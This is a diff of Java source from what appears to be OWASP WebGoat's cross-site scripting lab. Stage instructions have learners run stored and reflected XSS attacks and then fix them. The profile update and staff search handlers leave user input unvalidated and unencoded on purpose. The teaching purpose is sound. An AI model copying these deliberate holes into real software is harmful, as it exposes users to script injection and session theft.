{ {
instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.<br>" instructions = "Stage 3: Execute a previously Stored Cross Site Scripting (XSS) attack.<br>"
+ "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. " + "The 'Bruce' employee profile is pre-loaded with a stored XSS attack. "
+ "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place."; + "Verify that 'David' is affected by the attack even though the fix from stage 2 is in place.";
} }
else if (STAGE4.equals(stage)) else if (STAGE4.equals(stage))
{ {
instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>" instructions = "Stage 4: Block Stored XSS using Output Encoding.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block XSS after it is read from the database. " + "Implement a fix to block XSS after it is read from the database. "
+ "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack."; + "Repeat stage 3. Verify that 'David' is not affected by Bruce's profile attack.";
} }
else if (STAGE5.equals(stage)) else if (STAGE5.equals(stage))
{ {
instructions = "Stage 5: Execute a Reflected XSS attack.<br>" instructions = "Stage 5: Execute a Reflected XSS attack.<br>"
+ "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. " + "Use a vulnerability on the Search Staff page to craft a URL containing a reflected XSS attack. "
+ "Verify that another employee using the link is affected by the attack."; + "Verify that another employee using the link is affected by the attack.";
} }
else if (STAGE6.equals(stage)) else if (STAGE6.equals(stage))
{ {
instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>" instructions = "Stage 6: Block Reflected XSS using Input Validation.<br><br>"
+ "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>" + "<b><font color=blue> THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOAT</font></b><br/><br/>"
+ "Implement a fix to block this reflected XSS attack. " + "Implement a fix to block this reflected XSS attack. "
+ "Repeat step 5. Verify that the attack URL is no longer effective."; + "Repeat step 5. Verify that the attack URL is no longer effective.";
} }
} }
return instructions; return instructions;
} }
@Override @Override
public String[] getStages() public String[] getStages()
{ {
if (getWebgoatContext().isCodingExercises()) if (getWebgoatContext().isCodingExercises())
return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 }; return new String[] { STAGE1, STAGE2, STAGE3, STAGE4, STAGE5, STAGE6 };
return new String[] { STAGE1, STAGE3, STAGE5 }; return new String[] { STAGE1, STAGE3, STAGE5 };
} }
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
if (s.getLessonSession(this) == null) s.openLessonSession(this); if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null; String requestedActionName = null;
try try
{ {
requestedActionName = s.getParser().getStringParameter("action"); requestedActionName = s.getParser().getStringParameter("action");
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// Let them eat login page. // Let them eat login page.
requestedActionName = LOGIN_ACTION; requestedActionName = LOGIN_ACTION;
} }
if (requestedActionName != null) if (requestedActionName != null)
{ {
try try
{ {
LessonAction action = getAction(requestedActionName); LessonAction action = getAction(requestedActionName);
if (action != null) if (action != null)
{ {
if (!action.requiresAuthentication() || action.isAuthenticated(s)) if (!action.requiresAuthentication() || action.isAuthenticated(s))
{ {
action.handleRequest(s); action.handleRequest(s);
// setCurrentAction(s, action.getNextPage(s)); // setCurrentAction(s, action.getNextPage(s));
} }
} }
else else
{ {
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} catch (ParameterNotFoundException pnfe) } catch (ParameterNotFoundException pnfe)
{ {
// System.out.println("Missing parameter"); // System.out.println("Missing parameter");
pnfe.printStackTrace(); pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (ValidationException ve) } catch (ValidationException ve)
{ {
// System.out.println("Validation failed"); // System.out.println("Validation failed");
ve.printStackTrace(); ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} catch (UnauthenticatedException ue) } catch (UnauthenticatedException ue)
{ {
s.setMessage("Login failed"); s.setMessage("Login failed");
// System.out.println("Authentication failure"); // System.out.println("Authentication failure");
ue.printStackTrace(); ue.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
s.setMessage("You are not authorized to perform this function"); s.setMessage("You are not authorized to perform this function");
// System.out.println("Authorization failure"); // System.out.println("Authorization failure");
ue2.printStackTrace(); ue2.printStackTrace();
} catch (Exception e) } catch (Exception e)
{ {
// All other errors send the user to the generic error page // All other errors send the user to the generic error page
// System.out.println("handleRequest() error"); // System.out.println("handleRequest() error");
e.printStackTrace(); e.printStackTrace();
setCurrentAction(s, ERROR_ACTION); setCurrentAction(s, ERROR_ACTION);
} }
} }
// All this does for this lesson is ensure that a non-null content exists. // All this does for this lesson is ensure that a non-null content exists.
setContent(new ElementContainer()); setContent(new ElementContainer());
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the CrossSiteScripting object * Gets the title attribute of the CrossSiteScripting object
* *
* @return The title value * @return The title value
*/ */
public String getTitle() public String getTitle()
{ {
return "LAB: Cross Site Scripting"; return "LAB: Cross Site Scripting";
} }
public String htmlEncode(WebSession s, String text) public String htmlEncode(WebSession s, String text)
{ {
if (STAGE4.equals(getStage(s)) && text.indexOf("<script>") > -1 && text.indexOf("alert") > -1 if (STAGE4.equals(getStage(s)) && text.indexOf("<script>") > -1 && text.indexOf("alert") > -1
&& text.indexOf("</script>") > -1) && text.indexOf("</script>") > -1)
{ {
setStageComplete(s, STAGE4); setStageComplete(s, STAGE4);
s.setMessage("Welcome to stage 5 -- exploiting the data layer"); s.setMessage("Welcome to stage 5 -- exploiting the data layer");
} }
return HtmlEncoder.encode(text); return HtmlEncoder.encode(text);
} }
} }

View File

@ -43,119 +43,119 @@ import org.owasp.webgoat.session.WebSession;
public class EditProfile extends DefaultLessonAction public class EditProfile extends DefaultLessonAction
{ {
public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException UnauthorizedException
{ {
getLesson().setCurrentAction(s, getActionName()); getLesson().setCurrentAction(s, getActionName());
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getUserId(s); int userId = getUserId(s);
int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID); int employeeId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID);
Employee employee = getEmployeeProfile(s, userId, employeeId); Employee employee = getEmployeeProfile(s, userId, employeeId);
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee); setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return CrossSiteScripting.EDITPROFILE_ACTION; return CrossSiteScripting.EDITPROFILE_ACTION;
} }
public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; String query = "SELECT * FROM employee WHERE userid = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException public Employee getEmployeeProfile_BACKUP(WebSession s, int userId, int subjectUserId) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE userid = ?"; String query = "SELECT * FROM employee WHERE userid = ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setInt(1, subjectUserId); answer_statement.setInt(1, subjectUserId);
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
if (answer_results.next()) if (answer_results.next())
{ {
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"),
answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results
.getString("title"), answer_results.getString("phone"), answer_results .getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/} */}
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error getting employee profile"); s.setMessage("Error getting employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
} }

View File

@ -49,172 +49,172 @@ import org.owasp.webgoat.session.WebSession;
public class FindProfile extends DefaultLessonAction public class FindProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
String searchName = null; String searchName = null;
try try
{ {
searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME); searchName = getRequestParameter(s, CrossSiteScripting.SEARCHNAME);
Employee employee = null; Employee employee = null;
employee = findEmployeeProfile(s, userId, searchName); employee = findEmployeeProfile(s, userId, searchName);
if (employee == null) if (employee == null)
{ {
setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY, setSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.SEARCHRESULT_ATTRIBUTE_KEY,
"Employee " + searchName + " not found."); "Employee " + searchName + " not found.");
} }
} catch (ValidationException e) } catch (ValidationException e)
{ {
if (CrossSiteScripting.STAGE6.equals(getStage(s))) if (CrossSiteScripting.STAGE6.equals(getStage(s)))
{ {
setStageComplete(s, CrossSiteScripting.STAGE6); setStageComplete(s, CrossSiteScripting.STAGE6);
} }
throw e; throw e;
} }
if (CrossSiteScripting.STAGE5.equals(getStage(s))) if (CrossSiteScripting.STAGE5.equals(getStage(s)))
{ {
if (searchName.indexOf("<script>") > -1 && searchName.indexOf("alert") > -1 if (searchName.indexOf("<script>") > -1 && searchName.indexOf("alert") > -1
&& searchName.indexOf("</script>") > -1) && searchName.indexOf("</script>") > -1)
{ {
setStageComplete(s, CrossSiteScripting.STAGE5); setStageComplete(s, CrossSiteScripting.STAGE5);
} }
} }
// Execute the chained Action if the employee was found. // Execute the chained Action if the employee was found.
if (foundEmployee(s)) if (foundEmployee(s))
{ {
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
String page = CrossSiteScripting.SEARCHSTAFF_ACTION; String page = CrossSiteScripting.SEARCHSTAFF_ACTION;
if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION; if (foundEmployee(s)) page = CrossSiteScripting.VIEWPROFILE_ACTION;
return page; return page;
} }
protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException, protected String getRequestParameter(WebSession s, String name) throws ParameterNotFoundException,
ValidationException ValidationException
{ {
return s.getParser().getRawParameter(name); return s.getParser().getRawParameter(name);
} }
protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException, protected String getRequestParameter_BACKUP(WebSession s, String name) throws ParameterNotFoundException,
ValidationException ValidationException
{ {
return s.getParser().getRawParameter(name); return s.getParser().getRawParameter(name);
} }
public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException
{ {
Employee profile = null; Employee profile = null;
// Query the database for the profile data of the given employee // Query the database for the profile data of the given employee
try try
{ {
String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?"; String query = "SELECT * FROM employee WHERE first_name like ? OR last_name like ?";
try try
{ {
PreparedStatement answer_statement = WebSession.getConnection(s) PreparedStatement answer_statement = WebSession.getConnection(s)
.prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
answer_statement.setString(1, "%" + pattern + "%"); answer_statement.setString(1, "%" + pattern + "%");
answer_statement.setString(2, "%" + pattern + "%"); answer_statement.setString(2, "%" + pattern + "%");
ResultSet answer_results = answer_statement.executeQuery(); ResultSet answer_results = answer_statement.executeQuery();
// Just use the first hit. // Just use the first hit.
if (answer_results.next()) if (answer_results.next())
{ {
int id = answer_results.getInt("userid"); int id = answer_results.getInt("userid");
// Note: Do NOT get the password field. // Note: Do NOT get the password field.
profile = new Employee(id, answer_results.getString("first_name"), answer_results profile = new Employee(id, answer_results.getString("first_name"), answer_results
.getString("last_name"), answer_results.getString("ssn"), .getString("last_name"), answer_results.getString("ssn"),
answer_results.getString("title"), answer_results.getString("phone"), answer_results answer_results.getString("title"), answer_results.getString("phone"), answer_results
.getString("address1"), answer_results.getString("address2"), answer_results .getString("address1"), answer_results.getString("address2"), answer_results
.getInt("manager"), answer_results.getString("start_date"), answer_results .getInt("manager"), answer_results.getString("start_date"), answer_results
.getInt("salary"), answer_results.getString("ccn"), answer_results .getInt("salary"), answer_results.getString("ccn"), answer_results
.getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results
.getString("disciplined_notes"), answer_results.getString("personal_description")); .getString("disciplined_notes"), answer_results.getString("personal_description"));
/* /*
* System.out.println("Retrieved employee from db: " + profile.getFirstName() + * System.out.println("Retrieved employee from db: " + profile.getFirstName() +
* " " + profile.getLastName() + " (" + profile.getId() + ")"); * " " + profile.getLastName() + " (" + profile.getId() + ")");
*/ */
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id)); setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer.toString(id));
} }
} catch (SQLException sqle) } catch (SQLException sqle)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
sqle.printStackTrace(); sqle.printStackTrace();
} }
} catch (Exception e) } catch (Exception e)
{ {
s.setMessage("Error finding employee profile"); s.setMessage("Error finding employee profile");
e.printStackTrace(); e.printStackTrace();
} }
return profile; return profile;
} }
private boolean foundEmployee(WebSession s) private boolean foundEmployee(WebSession s)
{ {
boolean found = false; boolean found = false;
try try
{ {
getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID); getIntRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID);
found = true; found = true;
} catch (ParameterNotFoundException e) } catch (ParameterNotFoundException e)
{ {
} }
return found; return found;
} }
protected String validate(final String parameter, final Pattern pattern) throws ValidationException protected String validate(final String parameter, final Pattern pattern) throws ValidationException
{ {
Matcher matcher = pattern.matcher(parameter); Matcher matcher = pattern.matcher(parameter);
if (!matcher.matches()) throw new ValidationException(); if (!matcher.matches()) throw new ValidationException();
return parameter; return parameter;
} }
protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>(); protected static Map<String, Pattern> patterns = new HashMap<String, Pattern>();
static static
{ {
patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}")); patterns.put(CrossSiteScripting.SEARCHNAME, Pattern.compile("[a-zA-Z ]{0,20}"));
} }
} }

View File

@ -50,335 +50,335 @@ import org.owasp.webgoat.session.WebSession;
public class UpdateProfile extends DefaultLessonAction public class UpdateProfile extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) public UpdateProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
{ {
super(lesson, lessonName, actionName); super(lesson, lessonName, actionName);
this.chainedAction = chainedAction; this.chainedAction = chainedAction;
} }
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException UnauthorizedException, ValidationException
{ {
if (isAuthenticated(s)) if (isAuthenticated(s))
{ {
int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID); int userId = getIntSessionAttribute(s, getLessonName() + "." + CrossSiteScripting.USER_ID);
int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0); int subjectId = s.getParser().getIntParameter(CrossSiteScripting.EMPLOYEE_ID, 0);
Employee employee = null; Employee employee = null;
try try
{ {
employee = parseEmployeeProfile(subjectId, s); employee = parseEmployeeProfile(subjectId, s);
} catch (ValidationException e) } catch (ValidationException e)
{ {
if (CrossSiteScripting.STAGE2.equals(getStage(s))) if (CrossSiteScripting.STAGE2.equals(getStage(s)))
{ {
setStageComplete(s, CrossSiteScripting.STAGE2); setStageComplete(s, CrossSiteScripting.STAGE2);
} }
throw e; throw e;
} }
if (subjectId > 0) if (subjectId > 0)
{ {
this.changeEmployeeProfile(s, userId, subjectId, employee); this.changeEmployeeProfile(s, userId, subjectId, employee);
setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer setRequestAttribute(s, getLessonName() + "." + CrossSiteScripting.EMPLOYEE_ID, Integer
.toString(subjectId)); .toString(subjectId));
} }
else else
this.createEmployeeProfile(s, userId, employee); this.createEmployeeProfile(s, userId, employee);
try try
{ {
chainedAction.handleRequest(s); chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1) } catch (UnauthenticatedException ue1)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue1.printStackTrace(); ue1.printStackTrace();
} catch (UnauthorizedException ue2) } catch (UnauthorizedException ue2)
{ {
// System.out.println("Internal server error"); // System.out.println("Internal server error");
ue2.printStackTrace(); ue2.printStackTrace();
} }
} }
else else
throw new UnauthenticatedException(); throw new UnauthenticatedException();
} }
protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException, protected Employee parseEmployeeProfile(int subjectId, WebSession s) throws ParameterNotFoundException,
ValidationException ValidationException
{ {
// The input validation can be added using a parsing component // The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component // or by using an inline regular expression. The parsing component
// is the better solution. // is the better solution.
HttpServletRequest request = s.getRequest(); HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN); String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE); String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE); String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY)); int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN); String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT)); int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
return employee; return employee;
} }
protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException, protected Employee parseEmployeeProfile_BACKUP(int subjectId, WebSession s) throws ParameterNotFoundException,
ValidationException ValidationException
{ {
// The input validation can be added using a parsing component // The input validation can be added using a parsing component
// or by using an inline regular expression. The parsing component // or by using an inline regular expression. The parsing component
// is the better solution. // is the better solution.
HttpServletRequest request = s.getRequest(); HttpServletRequest request = s.getRequest();
String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME); String firstName = request.getParameter(CrossSiteScripting.FIRST_NAME);
String lastName = request.getParameter(CrossSiteScripting.LAST_NAME); String lastName = request.getParameter(CrossSiteScripting.LAST_NAME);
String ssn = request.getParameter(CrossSiteScripting.SSN); String ssn = request.getParameter(CrossSiteScripting.SSN);
String title = request.getParameter(CrossSiteScripting.TITLE); String title = request.getParameter(CrossSiteScripting.TITLE);
String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER); String phone = request.getParameter(CrossSiteScripting.PHONE_NUMBER);
String address1 = request.getParameter(CrossSiteScripting.ADDRESS1); String address1 = request.getParameter(CrossSiteScripting.ADDRESS1);
String address2 = request.getParameter(CrossSiteScripting.ADDRESS2); String address2 = request.getParameter(CrossSiteScripting.ADDRESS2);
int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER)); int manager = Integer.parseInt(request.getParameter(CrossSiteScripting.MANAGER));
String startDate = request.getParameter(CrossSiteScripting.START_DATE); String startDate = request.getParameter(CrossSiteScripting.START_DATE);
int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY)); int salary = Integer.parseInt(request.getParameter(CrossSiteScripting.SALARY));
String ccn = request.getParameter(CrossSiteScripting.CCN); String ccn = request.getParameter(CrossSiteScripting.CCN);
int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT)); int ccnLimit = Integer.parseInt(request.getParameter(CrossSiteScripting.CCN_LIMIT));
String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE); String disciplinaryActionDate = request.getParameter(CrossSiteScripting.DISCIPLINARY_DATE);
String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES); String disciplinaryActionNotes = request.getParameter(CrossSiteScripting.DISCIPLINARY_NOTES);
String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION); String personalDescription = request.getParameter(CrossSiteScripting.DESCRIPTION);
Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2, Employee employee = new Employee(subjectId, firstName, lastName, ssn, title, phone, address1, address2,
manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes, manager, startDate, salary, ccn, ccnLimit, disciplinaryActionDate, disciplinaryActionNotes,
personalDescription); personalDescription);
return employee; return employee;
} }
protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException, protected Employee doParseEmployeeProfile(int subjectId, ParameterParser parser) throws ParameterNotFoundException,
ValidationException ValidationException
{ {
// Fix this method using the org.owasp.webgoat.session.ParameterParser class // Fix this method using the org.owasp.webgoat.session.ParameterParser class
return null; return null;
} }
public String getNextPage(WebSession s) public String getNextPage(WebSession s)
{ {
return CrossSiteScripting.VIEWPROFILE_ACTION; return CrossSiteScripting.VIEWPROFILE_ACTION;
} }
public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee) public void changeEmployeeProfile(WebSession s, int userId, int subjectId, Employee employee)
throws UnauthorizedException throws UnauthorizedException
{ {
try try
{ {
// Note: The password field is ONLY set by ChangePassword // Note: The password field is ONLY set by ChangePassword
